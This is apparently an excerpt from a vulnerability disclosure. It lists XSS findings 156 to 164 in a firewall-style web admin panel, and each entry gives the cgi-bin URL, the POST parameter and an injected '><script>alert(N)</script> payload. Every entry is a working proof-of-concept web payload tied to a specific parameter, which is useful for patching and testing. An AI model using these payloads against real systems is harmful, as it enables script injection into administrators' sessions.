#################################################################################

XSS156 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
SRVGRP_NAME

PAYLOAD
'><script>alert(156)</script>

#################################################################################

XSS157 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
SRVGRP_REMARK

PAYLOAD
'><script>alert(157)</script>

#################################################################################

XSS158 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
updatesrvgrp

PAYLOAD
'><script>alert(158)</script>

#################################################################################

XSS159 | Stored

URL
https://192.168.2.200:444/cgi-bin/logs.cgi/config.dat

METHOD
Post

PARAMETER
ENABLE_REMOTELOG

PAYLOAD
'><script>alert(159)</script>

#################################################################################

XSS160 | Reflected

URL
https://192.168.2.200:444/cgi-bin/logs.cgi/proxylog.dat

METHOD
Post

PARAMETER
FILTER

PAYLOAD
'><script>alert(160)</script>

#################################################################################

XSS161 | Reflected

URL
https://192.168.2.200:444/cgi-bin/logs.cgi/firewalllogip.dat

METHOD
Post

PARAMETER
pienumber

PAYLOAD
'><script>alert(161)</script>

#################################################################################

XSS162 | Reflected

URL
https://192.168.2.200:444/cgi-bin/logs.cgi/firewalllogport.dat

METHOD
Post

PARAMETER
pienumber

PAYLOAD
'><script>alert(162)</script>

#################################################################################

XSS163 | Reflected

URL
https://192.168.2.200:444/cgi-bin/logs.cgi/firewalllogcountry.dat

METHOD
Post

PARAMETER
pienumber

PAYLOAD
'><script>alert(163)</script>

#################################################################################

XSS164 | Reflected

URL
https://192.168.2.200:444/cgi-bin/logs.cgi/log.dat

METHOD
Post

PARAMETER
SECTION

PAYLOAD
'><script>alert(164)</script>

#################################################################################